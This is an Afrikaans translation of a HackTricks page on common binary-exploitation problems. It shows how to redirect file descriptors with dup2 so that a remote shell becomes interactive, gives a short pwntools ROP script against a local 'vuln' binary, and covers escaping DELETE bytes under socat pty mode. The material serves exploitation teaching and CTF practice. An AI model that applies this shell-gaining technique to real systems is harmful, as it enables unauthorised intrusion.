hacktricks/binary-exploitation/common-exploiting-problems.md

3.8 KiB

Algemene Exploit Probleme

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

FDs in Afgeleë Exploit

Wanneer 'n exploit na 'n afgeleë bediener gestuur word wat system('/bin/sh') aanroep, sal dit in die bediener proses uitgevoer word, en /bin/sh sal invoer van stdin (FD: 0) verwag en die uitvoer in stdout en stderr (FDs 1 en 2) druk. Die aanvaller sal dus nie met die shell kan interaksie hê nie.

'n Manier om dit reg te stel, is om te veronderstel dat wanneer die bediener begin het, dit die FD nommer 3 (vir luister) geskep het en dat jou verbinding dan in die FD nommer 4 gaan wees. Daarom is dit moontlik om die syscall dup2 te gebruik om die stdin (FD 0) en die stdout (FD 1) in die FD 4 (die van die aanvaller se verbinding) te dupliceer, sodat dit moontlik sal wees om met die shell in kontak te tree sodra dit uitgevoer is.

Exploit voorbeeld van hier:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Let daarop dat socat reeds stdin en stdout na die socket oordra. egter, die pty modus sluit DELETE karakters in. So, as jy 'n \x7f ( DELETE -) stuur, sal dit die vorige karakter van jou exploit verwyder.

Om dit te omseil, moet die escape karakter \x16 voor enige \x7f wat gestuur word, geplaas word.

Hier kan jy 'n voorbeeld van hierdie gedrag vind.

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}